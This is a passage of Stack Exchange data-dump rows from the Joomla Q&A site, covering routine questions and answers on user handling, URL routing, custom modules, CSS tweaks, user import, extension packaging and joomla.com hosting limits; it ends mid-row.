  <row Id="15362" PostTypeId="2" ParentId="5002" CreationDate="2016-02-22T00:44:52.340" Score="0" Body="&lt;p&gt;HostGator.com HostGator&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hello, and thank you for contacting Hostgator regarding your server&#xA;  stability issue.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thank you for the update! We've confirmed a problem with the InnoDB storage engine in your MySQL instance.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We're repairing some&#xA;  databases used by MySQL now, as well as clearing spam from the mail&#xA;  queue that was sent by the compromised account tbldev1.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Once this is&#xA;  complete, we will continue to work on the MySQL software to restore&#xA;  the InnoDB engine. Please stand by for further updates.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7840" LastEditorUserId="12352" LastEditDate="2019-02-03T02:14:57.817" LastActivityDate="2019-02-03T02:14:57.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15363" PostTypeId="1" CreationDate="2016-02-22T08:03:04.160" Score="1" ViewCount="197" Body="&lt;p&gt;I am developing a mobile app which uses Joomla as the backend.&#xA;So far I am able to get the user object through &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser($id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, each time a user visits the app, I want it to set the &lt;strong&gt;lastvisitDate&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen this erlated Doc &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JUser.html&quot; rel=&quot;nofollow&quot;&gt;JUser Class&lt;/a&gt; but I don't know how to use it. I will be glad if anyone can be of help - Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7083" LastEditorUserId="115" LastEditDate="2016-03-17T11:55:14.840" LastActivityDate="2016-03-17T11:55:14.840" Title="How to SET &quot;lastvisitDate&quot; for a Joomla user" Tags="|joomla-3.x|joomla-api|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15364" PostTypeId="2" ParentId="827" CreationDate="2016-02-22T08:31:30.843" Score="2" Body="&lt;p&gt;I fell into the trap of putting an underscore in my override file name. This is &lt;strong&gt;not&lt;/strong&gt; allowed (&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla#Module_Alternative_Layouts&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Layout_Overrides_in_Joomla#Module_Alternative_Layouts&lt;/a&gt;), and if you do it, your override will not appear.&lt;/p&gt;&#xA;" OwnerUserId="3499" LastActivityDate="2016-02-22T08:31:30.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15365" PostTypeId="2" ParentId="15344" CreationDate="2016-02-22T10:36:29.417" Score="1" Body="&lt;p&gt;I followed the answer and came up with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  public function save($data){&#xA;        $table = $this-&amp;gt;getTable();&#xA;        $table-&amp;gt;load(array('alias' =&amp;gt; $data['alias']));&#xA;&#xA;        if (($table-&amp;gt;alias == $data['alias']) &amp;amp;&amp;amp; $table-&amp;gt;id != $data['id'])&#xA;        {&#xA;            $this-&amp;gt;setError(JText::_('COM_MYCOMPONENT_ALIAS_ALREADY_EXISTS').'| Alias: ' . $data['alias']);&#xA;            return false;&#xA;        }&#xA;        $save = parent::save($data);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="112" LastActivityDate="2016-02-22T10:36:29.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15366" PostTypeId="2" ParentId="15055" CreationDate="2016-02-22T12:36:32.940" Score="1" Body="&lt;p&gt;This component Zoo from Yootheme was perfect for this your need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was free and you can customize any fields and layout to show this fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yootheme.com/zoo/&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/zoo/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-02-22T12:36:32.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15367" PostTypeId="2" ParentId="5056" CreationDate="2016-02-22T13:06:27.427" Score="10" Body="&lt;p&gt;&lt;strong&gt;To enhance the given answers here:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To include a modul position in your component view and to load modules there, you just have to add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::_('content.prepare', '{loadposition yourmodulposition}');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the view file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second string with the load position short tag can be replaced with a var which contains more html if you need that. You don't have to write that line for every new modul position:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$outputModules = '&amp;lt;strong&amp;gt;Some Html&amp;lt;/strong&amp;gt;'&#xA;                 .'{loadposition yourmodulposition1}'&#xA;                 .'{loadposition yourmodulposition2}';&#xA;&#xA;&#xA;echo JHtml::_('content.prepare', $outputModules);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I know this is not a direct answer to the authors question.)&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2018-11-26T13:04:18.630" LastActivityDate="2018-11-26T13:04:18.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15368" PostTypeId="1" CreationDate="2016-02-22T13:09:40.817" Score="2" ViewCount="1548" Body="&lt;p&gt;I have a userId - &lt;code&gt;$uid&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to make this user as logged in to the s/m in joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$currentUser = new JUser($uid);&#xA;&#xA;$mainframe = JFactory::getApplication('site');&#xA;$credentials = array();&#xA;$credentials['username'] = $currentUser-&amp;gt;username;&#xA;$credentials['password'] = $currentUser-&amp;gt;password; //this is the hashed password&#xA;&#xA;//perform the login action&#xA;$mainframe-&amp;gt;login($credentials);&#xA;&#xA;$newuser = JFactory::getUser(); //this doesn't get updated to the new user ($uid) details&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I make the user as the current user by using the uid itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I just found that user can be loaded with JUser::load()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trial 2-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JUser::getInstance($uid);&#xA;$user-&amp;gt;load($uid); //this should load the new user.&#xA;&#xA;$newuser = JFactory::getUser(); //still i get the anonymous details here &#xA;            //($newuser-&amp;gt;id = 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As there is &lt;code&gt;wp_set_current_user($uid);&lt;/code&gt; for wordpress &lt;code&gt;user_load_by_name()&lt;/code&gt; in drupal, is there any similar function for joomla ? Please help.!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7841" LastEditorUserId="7841" LastEditDate="2016-02-23T06:44:44.193" LastActivityDate="2021-11-26T14:42:16.537" Title="set user id as the current user in Joomla" Tags="|joomla-3.x|jfactory|account-password|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15369" PostTypeId="1" CreationDate="2016-02-22T13:32:40.247" Score="2" ViewCount="544" Body="&lt;p&gt;I've added some articles to a joomla website. I copied exisiting articles and then changed the titles/text/links/meta. All the articles are in the category 'uncategorised'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, the links were wrong. instead of, for example: /incassobureau-sint-niklaas, the link would show up as /2-uncategorised/27-incassobureau-sint-niklaas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed this by adding the new articles to the right menu. So now /incassobureau-sint-niklaas is working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the old (wrong) links are still online: /2-uncategorised/27-incassobureau-sint-niklaas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I crawl the site with screaming frog, this link doesn't appear, but it still works (it's not my cache, did ctrl F5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a new page &lt;a href=&quot;http://www.aadb.be/2-uncategorised&quot; rel=&quot;nofollow&quot;&gt;http://www.aadb.be/2-uncategorised&lt;/a&gt; that shows all the articles beneath eachother on the same page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows how to get ride of these /2-uncategorised/ pages? &lt;/p&gt;&#xA;" OwnerUserId="7842" LastActivityDate="2016-02-25T09:38:28.597" Title="Creating new articles, suddenly a /2-uncategorised/ page is created with all these articles in a list" Tags="|joomla-3.x|articles|category|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15372" PostTypeId="2" ParentId="15369" CreationDate="2016-02-22T18:44:46.997" Score="3" Body="&lt;p&gt;Check to see if you have your SEF URLs turned on and configuration correct. By default you should be able to access the URLs you listed, that is the default Joomla routing kicking in. 2-uncategorised is actually the category_id-category_name in the Joomla database. The default router uses these 2 pieces of info to create the url. Are you running any kind of SEF extensions on your site? That may be the cause as well if the extension has any cached values for URLs on your site.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-22T18:44:46.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15375" PostTypeId="1" AcceptedAnswerId="15376" CreationDate="2016-02-23T13:52:39.513" Score="0" ViewCount="1077" Body="&lt;p&gt;I need to create a module with just one button (like Join Us). &#xA;When a user click on this button, an email will be sent to the user and to administrator. In this email must be written the username who click the button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i need to create a task to get username and send this username to the administrator. &#xA;Any idea to solve this question?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7201" LastActivityDate="2016-02-26T17:21:10.347" Title="Get user info and send email from button" Tags="|user|emails|custom-module|task|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15376" PostTypeId="2" ParentId="15375" CreationDate="2016-02-23T22:04:24.200" Score="3" Body="&lt;p&gt;Download Flexi Custom Code Module from the JED.&#xA;Install the module and publish it to the position of your choice.&#xA;Below the custom code box leave the option to use PHP on and disable the cleanup of html, js, and css.&#xA;Enter this code into the custom code box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;JHtml::_('behavior.formvalidation');&#xA;&#xA;$JInput = JFactory::getApplication()-&amp;gt;input;&#xA;$sendMail = $JInput-&amp;gt;get('sendMail', '', 'string');&#xA;$userName = $JInput-&amp;gt;get('username', '', 'string');&#xA;$userEmail = $JInput-&amp;gt;get('email', '', 'string');&#xA;$user = JFactory::getUser();&#xA;&#xA;if(isset($sendMail) &amp;amp;&amp;amp; $sendMail == 'sendNow'){&#xA;&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage('Contact request successfully submitted.', 'message' );&#xA;&#xA;    //GENERATE DATA TO EMAIL TO ADMINS  &#xA;    $html = &quot;&quot;;&#xA;    $html .= &quot;&amp;lt;h2&amp;gt;New Contact Request Received&amp;lt;/h2&amp;gt;&quot;;&#xA;    $html .= &quot;&amp;lt;p&amp;gt;A new contact request has been sent by &quot; . $userName . &quot;. The user's email address is: &quot;.$userEmail.&quot;.&amp;lt;/p&amp;gt;&quot;;&#xA;&#xA;    $subject = &quot;Contact Request&quot;;&#xA;    $from = array(&quot;noreply@yourwebsite.com&quot;, &quot;Website Contact&quot;);&#xA;&#xA;    //SEND THE EMAIL&#xA;    $mailer = JFactory::getMailer();&#xA;    $mailer-&amp;gt;setSender($from);&#xA;    $mailer-&amp;gt;addRecipient(&quot;YOUR EMAIL ADDRESS&quot;);&#xA;    $mailer-&amp;gt;setSubject($subject);&#xA;    $mailer-&amp;gt;setBody($html);&#xA;    $mailer-&amp;gt;isHTML();&#xA;    $mailer-&amp;gt;send();&#xA;&#xA;    //GENERATE DATA TO DISPLAY TO THE USER&#xA;    $submitted = &quot;&quot;;&#xA;    $submitted .= &quot;Your contact request has been successfully received. Someone will contact you soon.&quot;;&#xA;    echo $submitted;&#xA;&#xA;}else{?&amp;gt;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo JUri::current();?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;sendMail&quot; value=&quot;sendNow&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;&amp;lt;?php echo $user-&amp;gt;username;?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;userEmail&quot; value=&quot;&amp;lt;?php echo $user-&amp;gt;email;?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Request Contact&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace the email appropriate code to match your domain and email address settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this but it should work for what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-23T22:04:24.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15378" PostTypeId="1" AcceptedAnswerId="15379" CreationDate="2016-02-23T23:17:50.743" Score="3" ViewCount="276" Body="&lt;p&gt;I would like to remove the links that appears on the top of my website &quot;Sign In / Register&quot; i already disabled the registration under the user manager however the links still appear there and i want to remove them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read in a post that this could be part of the original joomla /components/ elements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my site is qbtrance.com i want to get rid of them, they are on the right top. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am using joomla 2.5, thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="7386" LastEditorUserId="3650" LastEditDate="2016-12-13T07:56:26.503" LastActivityDate="2016-12-13T07:56:26.503" Title="how do i remove registration links in joomla 2.5 - login module" Tags="|joomla-2.5|module|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15379" PostTypeId="2" ParentId="15378" CreationDate="2016-02-23T23:32:03.690" Score="2" Body="&lt;p&gt;In file &lt;code&gt;/templates/theme1155/css/template.css&lt;/code&gt; &#xA;on line 299  in selector &lt;code&gt;#rt-login-button&lt;/code&gt; add attribute &lt;code&gt;display:none&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;#rt-login-button {&#xA;    text-align: right;&#xA;    display: none;&#xA;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;This solution doesn't remove registration links, just hides them from module's html output (doesn't display them), which is is more than enough most of the time. For the real removal of links it is hard to give a solution without full access to admin backend, because they might be generated either from template or from module.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-02-28T09:32:33.700" LastActivityDate="2016-02-28T09:32:33.700" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15382" PostTypeId="1" CreationDate="2016-02-24T05:53:31.560" Score="0" ViewCount="25" Body="&lt;p&gt;Im not sure if this is ok, see, Im not very familiar with PHP so I wonder if anyone can let me borrow a script that converts strings to Salted MD5 (The one Joomla uses for password in the database).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope to convert multiple lines in 1 go. I'm adding hundreds of user in Joomla so adding them directly in database is much faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="7832" LastActivityDate="2016-02-24T16:59:05.113" Title="PHP Script that converts strong to Salted MD5" Tags="|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15383" PostTypeId="1" AcceptedAnswerId="15387" CreationDate="2016-02-24T12:17:46.337" Score="5" ViewCount="697" Body="&lt;p&gt;Is there any widespread, generally accepted way to automatically create the installation zip archive for extensions, or does each extension developer use his own hand made tools and recipes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone have any suggestion about what tool or script should use a developer that starts now?&lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2016-02-24T17:47:07.433" Title="How to automatically create the installation zip archive of a Joomla extension?" Tags="|development|extensions|packaging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15384" PostTypeId="2" ParentId="15383" CreationDate="2016-02-24T12:32:03.713" Score="3" Body="&lt;p&gt;Good question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally keep my extensions (modules only) on Github using the same directory tree as you'd find with any other extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I make changes to a file on my localhost, I copy the file over to the cloned repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm ready to release an update or new extension even, I simply zip up all the files/directories in the cloned repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would not be a good approach for components as they're much bigger. For this, I'd suggest using &lt;a href=&quot;https://docs.joomla.org/Extension_development_using_eclipse_and_phing&quot;&gt;Phing&lt;/a&gt;. Not only will it allow you to create zips, it it makes a lot of other things automated.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-02-24T12:32:03.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15385" PostTypeId="1" AcceptedAnswerId="15393" CreationDate="2016-02-24T16:53:17.303" Score="4" ViewCount="162" Body="&lt;p&gt;I am new to Joomla, just added a website with a new account there today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default I am the Administrator (not super) and missing some of the functionalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas ? &lt;/p&gt;&#xA;" OwnerUserId="7853" LastEditorUserId="120" LastEditDate="2016-02-24T22:59:23.943" LastActivityDate="2016-02-25T10:11:47.093" Title="NOT Super Administrator as default" Tags="|administrator|joomla.com|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15386" PostTypeId="2" ParentId="15382" CreationDate="2016-02-24T16:59:05.113" Score="1" Body="&lt;p&gt;The best way to be 100% is to import users and generate passwords with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $password = JUserHelper::genRandomPassword();&#xA;        $params = array(&#xA;                        'name' =&amp;gt; $name,&#xA;                        'username' =&amp;gt; $username,&#xA;                        'email' =&amp;gt; $email,&#xA;                        'password' =&amp;gt; $password,&#xA;                        'password2' =&amp;gt; $password&#xA;                        'groups' =&amp;gt; array(2),&#xA;                        'sendEmail' =&amp;gt; 0,&#xA;                        'block' =&amp;gt; 0&#xA;        );&#xA;        $user = new JUser(0);&#xA;        $user-&amp;gt;bind($params);&#xA;        $user-&amp;gt;save();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-02-24T16:59:05.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15387" PostTypeId="2" ParentId="15383" CreationDate="2016-02-24T17:47:07.433" Score="4" Body="&lt;p&gt;You can try a (free) component called &lt;a href=&quot;http://extensions.joomla.org/extension/jdeveloper&quot; rel=&quot;nofollow noreferrer&quot;&gt;JDeveloper&lt;/a&gt;. It's mainly for extension development, but it also has a function to create and download a zip-file from any existing Joomla extension. Just install the component, and go to &lt;strong&gt;JDeveloper&lt;/strong&gt; -&gt; &lt;strong&gt;Extensions&lt;/strong&gt;, select your extension and click &quot;Create ZIP&quot; in the upper left corner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note that this does not seem to include files from the &lt;code&gt;/media/&lt;/code&gt; folder.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6AAhO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6AAhO.jpg&quot; alt=&quot;JDeveloper create ZIP&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-02-24T17:47:07.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15388" PostTypeId="1" CreationDate="2016-02-24T18:07:20.143" Score="0" ViewCount="1626" Body="&lt;p&gt;I am using Joomla to build a company Intranet.  We would like to display a nicely formatted list of users as a Company Directory.  We already have all this information in our Windows Domain / Active Directory structure, so there's no need to duplicate the data - I just need to query AD and have it return the user list in a format I can display in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two options that may accomplish this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Does a component exist that does this?  (I saw several Address Book components, but none seemed to connect to an AD structure.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I can use Sourcerer from NoNumber to insert PHP code into an article, and have it return the list.  What would be the code to display all users in an AD OU and its children?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help!&lt;/p&gt;&#xA;" OwnerUserId="419" LastActivityDate="2016-02-25T14:47:48.580" Title="How can I query Active Directory to display a list of users?" Tags="|joomla-3.x|php|extension-request|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15390" PostTypeId="2" ParentId="15388" CreationDate="2016-02-24T21:07:39.803" Score="2" Body="&lt;p&gt;I have used &lt;a href=&quot;http://extensions.joomla.org/extension/jmapmyldap-tools&quot; rel=&quot;nofollow&quot;&gt;JMapMyLDAP Tools&lt;/a&gt; and was very satisfied with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You alse have nice article on Joomla Community Portal: &lt;a href=&quot;https://community.joomla.org/gsoc2009/lalitanand-dandge/908-joomla-ldap-authentications-plugin-window-2003-server-active-directory-configuration.html&quot; rel=&quot;nofollow&quot;&gt;JOOMLA! LDAP AUTHENTICATIONS PLUGIN: WINDOW 2003 SERVER ACTIVE DIRECTORY CONFIGURATION&lt;/a&gt; which is good read about Joomla an LDAP.&lt;/p&gt;&#xA;" OwnerDisplayName="user7746" LastActivityDate="2016-02-24T21:07:39.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15391" PostTypeId="5" CreationDate="2016-02-24T23:28:46.343" Score="0" Body="&lt;h2&gt;Joomla.com&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For questions related to &lt;strong&gt;&lt;a href=&quot;https://www.joomla.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;joomla.com&lt;/a&gt;&lt;/strong&gt;, the free hosted version of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;joomla.com&lt;/strong&gt; is a free hosted website solution officially sanctioned by Open Source Matters and provided by SiteGround.&lt;a href=&quot;http://opensourcematters.org/press/241-joomla-offers-free-hosted-website-solution-on-joomla-com-in-partnership-with-siteground.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;(1)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Key features&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;free sub-domain name (e.g.: mywebsite.joomla.com)&lt;/li&gt;&#xA;&lt;li&gt;hosting of the website is free&lt;/li&gt;&#xA;&lt;li&gt;comes pre-installed with some basic extensions (e.g. Google Analytics, Google Maps, Disqus comments and social media sharing) and all available languages&lt;/li&gt;&#xA;&lt;li&gt;a limited choice of templates&lt;/li&gt;&#xA;&lt;li&gt;automatic updates&lt;/li&gt;&#xA;&lt;li&gt;can be upgraded to a fully hosted service with SiteGround&lt;/li&gt;&#xA;&lt;li&gt;limited functionality (e.g. no access to manage extensions)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A comparison between joomla.com and the self hosted version of Joomla is provided at: &lt;a href=&quot;http://tutorials.joomla.com/basics/16-joomla-com-vs-joomla-org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tutorials.joomla.com/basics/16-joomla-com-vs-joomla-org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;History&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The joomla.com service was officially launched on 20th January 2015.&lt;a href=&quot;http://opensourcematters.org/press/241-joomla-offers-free-hosted-website-solution-on-joomla-com-in-partnership-with-siteground.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;(1)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="126" LastEditDate="2017-01-28T11:47:13.270" LastActivityDate="2017-01-28T11:47:13.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15392" PostTypeId="4" CreationDate="2016-02-24T23:28:46.343" Score="0" Body="for questions related to joomla.com, the free hosted version of Joomla" OwnerUserId="120" LastEditorUserId="126" LastEditDate="2017-01-28T11:47:13.270" LastActivityDate="2017-01-28T11:47:13.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15393" PostTypeId="2" ParentId="15385" CreationDate="2016-02-24T23:36:55.877" Score="4" Body="&lt;p&gt;I assume you've signed up for an account on &lt;a href=&quot;http://joomla.com&quot;&gt;Joomla.com&lt;/a&gt;. This service has a slightly different setup than a &quot;normal&quot; Joomla installation (downloaded from &lt;a href=&quot;http://joomla.org&quot;&gt;joomla.org&lt;/a&gt; and installed on your own hosting account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As described in the &lt;a href=&quot;http://www.tutorials.joomla.com/no-category/34-joomla-com-admin&quot;&gt;tutorials&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;None of the core Joomla content management function is limited for the&#xA;  Joomla.com users: articles, media, users, menus, components and&#xA;  extensions can be edited as in a standard Joomla CMS. However, &lt;strong&gt;no&#xA;  Superusers are allowed оn Joomla.com websites&lt;/strong&gt;. Тhe installation of the&#xA;  extensions and templates is restricted and the users cannot edit&#xA;  server configuration information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Further differences between Joomla.com and Joomla.org can be found on &lt;a href=&quot;http://www.tutorials.joomla.com/basics/16-joomla-com-vs-joomla-org&quot;&gt;http://www.tutorials.joomla.com/basics/16-joomla-com-vs-joomla-org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck with Joomla, I'm sure you'll like it. And don't hesitate to ask if you have another question.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-02-24T23:36:55.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15394" PostTypeId="2" ParentId="15385" CreationDate="2016-02-24T23:40:48.103" Score="3" Body="&lt;p&gt;It looks like you are using the free version of Joomla where some functionality is restricted. For example you only have Administrator access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For full functionality you can &lt;a href=&quot;http://tutorials.joomla.com/dashboard/31-upgrade&quot; rel=&quot;nofollow&quot;&gt;upgrade&lt;/a&gt; to a paid SiteGround account with your own domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;a href=&quot;http://tutorials.joomla.com/dashboard/35-exporting-your-joomla-com-website&quot; rel=&quot;nofollow&quot;&gt;export a joomla.com website&lt;/a&gt; via the &lt;a href=&quot;http://joomla.com&quot; rel=&quot;nofollow&quot;&gt;joomla.com&lt;/a&gt; dashboard. The export file includes the website files and database which are sufficient to recreate the website on an alternative hosting server.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-02-24T23:40:48.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15395" PostTypeId="2" ParentId="13557" CreationDate="2016-02-25T00:51:24.603" Score="4" Body="&lt;p&gt;I've been using FieldsAttach for this sort of thing, for a few years, the the concepts are clean and eloquent. Brian Teeman explains it well from an integrator point of view in his talk at &lt;a href=&quot;https://www.youtube.com/watch?v=f2WLKWbRj5U&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=f2WLKWbRj5U&lt;/a&gt; but in some ways it is even more compelling from a developer's perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after watching Marco Ding's Joomla Day UK 2016 talk on &lt;a href=&quot;https://www.youtube.com/watch?v=KDh1IPuZAVA&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=KDh1IPuZAVA&lt;/a&gt; I think DPFields may be a better choice. The architecture is perhaps more rugged and neater, but also because it may well end up being a core extension in Joomla in the near future. More info on DPFields is at &lt;a href=&quot;http://extensions.joomla.org/extension/dpfields&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/dpfields&lt;/a&gt; , &lt;a href=&quot;https://joomla.digital-peak.com/products/dpfields&quot; rel=&quot;nofollow&quot;&gt;https://joomla.digital-peak.com/products/dpfields&lt;/a&gt; and &lt;a 